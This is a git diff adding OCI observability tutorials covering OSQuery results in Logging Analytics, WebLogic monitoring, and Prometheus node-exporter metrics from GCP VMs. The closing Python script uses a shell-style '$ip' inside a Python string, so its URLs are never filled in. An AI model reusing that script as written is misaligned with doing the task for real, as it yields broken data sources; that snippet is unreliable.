you can also use the OCI logging to collect this queries as Query Results(WIP to enable it): + +![Picture 27](./images/image-08.png) + +You need to go to Past Queries and click Download results(csv format) + +![Picture 26](./images/image-09.png) + +Extract the file: + +![Picture 25](./images/image-10.png) + +Go to Logging Analytics →Administration →Click Upload Files: + +![Picture 24](./images/image-11.png) + +![Picture 23](./images/image-12.png) + +![Picture 22](./images/image-13.png) + +At this point I see I don’t have a valid Source for this, so I need to create it: + +![Picture 21](./images/image-14.png) + +Before this, I also need a parser for this file(Create XML Type → Copy paste the file content to ): + +![Picture 20](./images/image-15.png) + +![Picture 19](./images/image-16.png) + +![Picture 18](./images/image-17.png) + +Now map the fields and create new fields. + +![Picture 17](./images/image-18.png) + +After mapping run a parser test: + +![Picture 16](./images/image-19.png) + +Click on the ! sign and change the parser to the right format. + +![Picture 15](./images/image-20.png) + +![Picture 14](./images/image-21.png) + +Based on the OSQuery created, you can have different fields. In my case I had this ones created as STRING. + +![Picture 13](./images/image-22.png) + +Next create the source with the new parser: + +![Picture 12](./images/image-23.png) + +![Picture 11](./images/image-24.png) + +With the source created, we can restart the file upload wizard: + +![Picture 10](./images/image-25.png) + +Next we can see the OSQuery in the Log Explorer, and we can start playing with the numbers: + +![Picture 9](./images/image-26.png) + +```text +‘Log Source’ = OSQuery | fields ‘CPU Usage (%)’, ‘Process CPU Time’, ‘Action User’, ‘OS Process ID’ | timestats count as logrecords by ‘Log Source’ | sort -logrecords +``` + +Based on your usecase you can monitor the user/groups. + +![Picture 8](./images/image-27.png) + +![Picture 7](./images/image-28.png) + +Now with the logs in Logging Analytics sky is the limit. One use case is to map the usage per groups: + +![Picture 6](./images/image-29.png) + +```text +‘Log Source’ = OSQuery | where result.total_memory_usage != ‘null’ | eval clean_memory_usage = replace(result.total_memory_usage, ‘“‘, ‘’) | eval numeric_memory_usage = toNumber(clean_memory_usage) | stats sum(numeric_memory_usage) as total_memory_usage_sum by Group +``` + +If you want to use see in MB, you can use another query like this: + +```text +‘Log Source’ = OSQuery | where result.total_memory_usage != ‘null’ | eval clean_memory_usage = replace(result.total_memory_usage, ‘“‘, ‘’) | eval numeric_memory_usage = toNumber(clean_memory_usage) / 1000000 | stats sum(numeric_memory_usage) as total_memory_usage_sum_MB by Group +``` + +![Picture 5](./images/image-30.png) + +For CPU Usage you can try something like this: + +![Picture 4](./images/image-31.png) + +```text +‘Log Source’ = OSQuery | where result.total_cpu_time != ‘null’ | eval clean_CPU_usage = replace(result.total_cpu_time, ‘“‘, ‘’) | eval numeric_CPU_usage = toNumber(clean_CPU_usage) | eval cost_rate_per_second = 0.001 | eval total_cost = numeric_CPU_usage * cost_rate_per_second | stats sum(total_cost) as total_CPU_cost_sum by Group +``` + +[https://docs.oracle.com/en-us/iaas/logging-analytics/doc/use-timestats-command-plot-time-series.html](https://docs.oracle.com/en-us/iaas/logging-analytics/doc/use-timestats-command-plot-time-series.html) — Some Dashboard capabilities ideas. + +This are some highlights on the service capabilities. This capabilities can be entended to multiple OS behavior/monitoring use cases. You need to do the mapping based on the data format you ingest. + +This is my personal opionion, and use it only if it fits your needs. + +Preview of Part 2 — Adding automation: + +1. Create a Scheduled Query + +![Picture 3](./images/image-32.png) + +1. Create and enable logging for it + +![Picture 2](./images/image-33.png) + +![Picture 1](./images/image-34.png) + +1. Send the Logs to Logging Analytics + +2. Create queries on collected data. diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-01.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-01.png new file mode 100644 index 000000000..d5cda924b Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-01.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-02.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-02.png new file mode 100644 index 000000000..9d9b46966 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-02.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-03.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-03.png new file mode 100644 index 000000000..ff47b0044 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-03.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-04.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-04.png new file mode 100644 index 000000000..60ec50263 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-04.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-05.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-05.png new file mode 100644 index 000000000..077adddf0 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-05.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-06.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-06.png new file mode 100644 index 000000000..f871e63a8 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-06.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-07.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-07.png new file mode 100644 index 000000000..184fd6f39 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-07.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-08.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-08.png new file mode 100644 index 000000000..54cdc7ca3 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-08.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-09.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-09.png new file mode 100644 index 000000000..94b9060e5 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-09.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-10.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-10.png new file mode 100644 index 000000000..c73e79906 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-10.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-11.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-11.png new file mode 100644 index 000000000..7f17192e4 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-11.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-12.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-12.png new file mode 100644 index 000000000..195ec0385 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-12.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-13.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-13.png new file mode 100644 index 000000000..8acb28739 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-13.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-14.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-14.png new file mode 100644 index 000000000..98377a5cf Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-14.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-15.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-15.png new file mode 100644 index 000000000..b9cc339eb Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-15.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-16.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-16.png new file mode 100644 index 000000000..6a261a84f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-16.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-17.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-17.png new file mode 100644 index 000000000..caa7b5eb6 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-17.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-18.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-18.png new file mode 100644 index 000000000..4feea9b53 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-18.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-19.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-19.png new file mode 100644 index 000000000..841e067fa Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-19.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-20.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-20.png new file mode 100644 index 000000000..d0a5d7d1f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-20.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-21.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-21.png new file mode 100644 index 000000000..818cc7f80 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-21.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-22.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-22.png new file mode 100644 index 000000000..b0519edcd Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-22.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-23.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-23.png new file mode 100644 index 000000000..4a8adaf85 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-23.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-24.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-24.png new file mode 100644 index 000000000..f9eeed792 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-24.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-25.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-25.png new file mode 100644 index 000000000..2e0c15323 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-25.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-26.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-26.png new file mode 100644 index 000000000..a00bad73a Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-26.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-27.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-27.png new file mode 100644 index 000000000..cd11d7474 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-27.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-28.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-28.png new file mode 100644 index 000000000..2dba299bb Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-28.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-29.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-29.png new file mode 100644 index 000000000..7cf19ab4d Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-29.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-30.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-30.png new file mode 100644 index 000000000..642995130 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-30.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-31.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-31.png new file mode 100644 index 000000000..16c0ba70c Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-31.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-32.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-32.png new file mode 100644 index 000000000..38b7fd066 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-32.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-33.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-33.png new file mode 100644 index 000000000..dce307905 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-33.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-34.png b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-34.png new file mode 100644 index 000000000..275b6cae1 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/images/image-34.png differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/README.md b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/README.md new file mode 100644 index 000000000..8ae7a9933 --- /dev/null +++ b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/README.md @@ -0,0 +1,108 @@ +# How to monitor Weblogic in OCI and collect logs for analysis + +If you are using Weblogic and want to monitor it and analyse logs you can easily do it with OCI Stack Monitoring and Logging Analytics. +In this blog we will see the steps for Weblogic on OCI but we can monitor weblogic on on-premise or other cloud as well using these services. + +Installing weblogic and how to access the console. Skip this one if you already have a weblogic environment and console access +I have used the marketplace stack to install weblogic on OCI.Please follow the instructions based on your requirement. + +Once the installation is complete you can access the weblogic admin console and weblogic private instance using the bastion host or bastion service. + +```bash +ssh-add ex:ssh-add /tmp/private_rsa +``` + +```bash +ssh -v -N -L 7002::7002 -p 22 opc@ (Use https://localhost:7002/console in the browser) +``` + +```bash +ssh -v -J opc@ opc@ +``` + +2. Enable Management Agent under Oracle Cloud Agent tab for the weblogic instances + +![Weblogic monitoring image 01](./images/image-01.webp) + +3. Enable Stack Monitoring on the compartment if its not done using easy onboarding or create the required policy manually +If you have enabled auto-promote config for host in Stack Monitoring it will be auto discovered . Otherwise you can easily promote the host manually by navigating to the below screen in Stack Monitoring + +![Weblogic monitoring image 02](./images/image-02.webp) + +Once the host is discovered you will see the weblogic server in the list as well. Before starting the discovery for Weblogic Domain Enable Mbean as a pre-requisite to collect JVM metrics . + +Navigate to Domain > Configuration > General page > Advanced options. Select the Platform MBean Server Used check box. + +![Weblogic monitoring image 02](./images/image-03.webp) + +You can click on Promote for the weblogic admin server. + +![Weblogic monitoring image 03](./images/image-04.webp) + +You will get the popup with details filled in. Enter a name for Resource Name.(ex:DemoWeblogic) In the Administration Server port use the admin server listen port by default its set to 7001 in the UI. 9071 is the default port when we use the marketplace image. + +![Weblogic monitoring image 04](./images/image-05.webp) + +Enter the username and password . User should have at least monitor role. + +![Weblogic monitoring image 05](./images/image-06.webp) + +You should see a job started in Resource Discovery page.If there is any issue in connectivity or policy not configured properly the job might fail. + +![Weblogic monitoring image 06](./images/image-07.webp) + +![Weblogic monitoring image 07](./images/image-08.webp) + +Use wlst.sh connect command to check if there is any connectivity issues and the job failed. + +```bash +cd $WLS_HOME/../oracle_common/common/bin +./wlst.sh +``` + +```text +connect(‘username’,’password’,’adminserver:port’) +``` + +Click on the Weblogic Domain discovered and it will take you to a similar page.The members will show you the cluster and server details.In the below image we have one managed server and one admin server. + +![Weblogic monitoring image 08](./images/image-09.webp) + +Click on the weblogic server to see the monitoring metrics + +![Weblogic monitoring image 09](./images/image-10.webp) + +The list of available metrics can be seen here for Weblogic. + +Become a Medium member +During discovery we have selected discover in Both StackMonitoring and Logging Analytics. This will automatically create the weblogic related entities in Logging Analytics. + +![Weblogic monitoring image 10](./images/image-11.webp) + +Enable the Logging Analytics plugin for the Agents associated with the weblogic host if not done before. + +![Weblogic monitoring image 11](./images/image-12.webp) + +Weblogic related log sources are available out of the box.You can associate these sources to start collecting the logs required. + +![Weblogic monitoring image 12](./images/image-13.webp) + +For example if you want to associate the below log source for all weblogic servers you can enable the auto-association.By default its Disabled. + +![Weblogic monitoring image 13](./images/image-14.webp) + +You can manually associate for selective weblogic servers as well. + +![Weblogic monitoring image 14](./images/image-15.webp) + +Click on Add association and you can choose the compartment and logging analytics log group or create a new one. + +The management agent user by default will not have the read permission for the logs and you will see Agent Collection Warnings. Please follow this step to allow read permission for the agent user to those logs. + +Since we are using the OCA management plugin the the agent userid will be oracle-cloud-agent. + +![Weblogic monitoring image 15](./images/image-16.webp) + +Use the cluster feature to find the potential issues easily. + +![Weblogic monitoring image 16](./images/image-17.webp) diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/.gitkeep b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-01.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-01.webp new file mode 100644 index 000000000..26ffb5ff8 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-01.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-02.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-02.webp new file mode 100644 index 000000000..34650d0e2 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-02.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-03.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-03.webp new file mode 100644 index 000000000..106fd036f Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-03.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-04.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-04.webp new file mode 100644 index 000000000..ea7c5d3ef Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-04.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-05.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-05.webp new file mode 100644 index 000000000..aa549dda7 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-05.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-06.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-06.webp new file mode 100644 index 000000000..9b7673fa6 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-06.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-07.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-07.webp new file mode 100644 index 000000000..b6b7a62cd Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-07.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-08.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-08.webp new file mode 100644 index 000000000..9ba8d01d0 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-08.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-09.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-09.webp new file mode 100644 index 000000000..4f8216714 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-09.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-10.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-10.webp new file mode 100644 index 000000000..50682f9d9 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-10.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-11.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-11.webp new file mode 100644 index 000000000..cf27b93d2 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-11.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-12.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-12.webp new file mode 100644 index 000000000..a63ad110f Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-12.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-13.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-13.webp new file mode 100644 index 000000000..294abfc6d Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-13.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-14.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-14.webp new file mode 100644 index 000000000..cbeee67da Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-14.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-15.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-15.webp new file mode 100644 index 000000000..4cadf4305 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-15.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-16.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-16.webp new file mode 100644 index 000000000..72d16a554 Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-16.webp differ diff --git a/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-17.webp b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-17.webp new file mode 100644 index 000000000..13368d2bc Binary files /dev/null and b/observability-and-management/assets/monitor-weblogic-in-oci-and-collect-logs/images/image-17.webp differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/README.md b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/README.md new file mode 100644 index 000000000..c964612e3 --- /dev/null +++ b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/README.md @@ -0,0 +1,117 @@ +# Multi-cloud observability using OCI Monitoring + +In this blog we will talk about Multi cloud monitoring using prometheus and OCI management agent. We will take GCP(Google Cloud Platform) as an example but this applies to all other cloud as well. + +![Picture 14](./images/image-01.png) + +Two VM instances has been created in GCP as an example. + +![Picture 13](./images/image-02.png) + +1. Install prometheus node-exporter in those VM instances by following the steps outlined [here](https://prometheus.io/docs/guides/node-exporter/) .Below is an example code.You can configure it to run as a system service as well. Open the firewall for the port if its blocked. + +```text +#!/bin/bash +cd /tmp +wget [https://github.com/prometheus/node_exporter/releases/download/v1.7.0/node_exporter-1.7.0.linux-amd64.tar.gz](https://github.com/prometheus/node_exporter/releases/download/v1.7.0/node_exporter-1.7.0.linux-amd64.tar.gz) +tar xvfz node_exporter-*.*-amd64.tar.gz +cd node_exporter-*.*-amd64 +./node_exporter & +``` + +2.Install management agent of oracle cloud in one of the VM instance as a central monitoring VM.Refer this [doc](https://docs.oracle.com/en-us/iaas/management-agents/doc/install-management-agent-chapter.html) for more instructions about management agent. + +1. Install jdk-8(openjdk) which is a pre-requisite for the agent. + +2. Download the agent zip file and agent key file . + +./installer.sh + +You can see the agent in OCI after successful installation. + +![Picture 12](./images/image-03.png) + +This agent should have access to the node-exporter endpoint running in all other VM’s. + +You can verify by running the curl -v [http://vmprivateip:9100/metrics](http://vmip:9100/metrics) + +On the OCI management side we will be adding the datasource so the metrics will flow into OCI monitoring. + +One datasource I have added by creating a node.properties file under the directory /opt/oracle/mgmt_agent/agent_inst/discovery/PrometheusEmitter with the configuration like below. For more details pls refer this [doc](https://docs.oracle.com/en-us/iaas/management-agents/doc/configure-management-agent-collect-metrics-using-prometheus-node-exporter.html). + +```text +url=http://10.20.30.40:9100/metrics +namespace=poc_prometheus +nodeName=gcpvm1 +metricDimensions=nodeName +allowMetrics=* +compartmentId=ocidl.compartment.ocl..aaaaaaaa...kolq +``` + +Its suggested to allow only required metrics instead of * by specifying metric name list as comma separated values. + +By default these metrics are collected every 5 mins to change it please set the parameter scheduleMins= . + +![Picture 10](./images/image-04.png) + +I have added another datasource using the agents Manage datasource page in OCI console. You can edit the properties later if needed. + +![Picture 9](./images/image-05.png) + +![Picture 8](./images/image-06.png) + +Now all the node metrics of the GCP VM will be available in OCI monitoring and we can build dashboard with these metrics. + +You can take a look at the metrics explorer to see the metrics flowing in. +For example : filesystem_free_bytes. + +![Picture 7](./images/image-07.png) + +You could install OCI management agent on all the GCP VM instances instead of prometheus node exporter to monitor as well . But with prometheus you will get the freedom to monitor not only the VM metrics and also other infrastructure hosted on top of the VM as well which may not be supported directly in OCI Observability services yet. + +Advantages: + +1. You don’t have to install management agents on all the VM to collect monitoring metrics. + +2. Since prometheus is used it can also be pointed to common grafana dashboard for Multicloud observability later without much operational changes. + +3. You don’t need to have separate Grafana instance for visualisation .OCI Dashboard can be used . + +Disadvantages: + +1. Since the agent is not available on all the VM, log collection is not possible. we need to use fluentd/fluentbit for log collection. + +2. The VM running the agent has to be highly available.If that VM is down all the VM monitored by this agent will not be available. You can use gateway to act as a buffer but still the agent VM has to be available. + +Sample Python script to create multiple prometheus datasources . + +```text +import oci + +config = oci.config.from_file("") +management_agent_client = oci.management_agent.ManagementAgentClient(config) +AGENT_ID = "" +COMPARTMENT_ID = "" + +# Example list of VM IP's +list_of_vms = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] + +# To create multiple datasource for the agent +# In this example only two metrics are set to be collected(node_filesystem_size_bytes,node_filesystem_free_bytes) +for ip in list_of_vms: + node_name = "node" + str(list_of_vms.index(ip)) + create_data_source_response = management_agent_client.create_data_source( + management_agent_id=AGENT_ID, + create_data_source_details=oci.management_agent.models.CreatePrometheusEmitterDataSourceDetails( + type="PROMETHEUS_EMITTER", + name=node_name, + compartment_id=COMPARTMENT_ID, + url="http://$ip:9100/metrics", + namespace="node_prometheus", + allow_metrics="node_filesystem_size_bytes,node_filesystem_free_bytes", + schedule_mins=1, + metric_dimensions=[ + oci.management_agent.models.MetricDimension( + name="nodeName", + value=node_name)])) +``` diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/.gitkeep b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-01.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-01.png new file mode 100644 index 000000000..329fa2e3b Binary files /dev/null and b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-01.png differ diff --git a/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-02.png b/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/images/image-02.png new file mode 100644 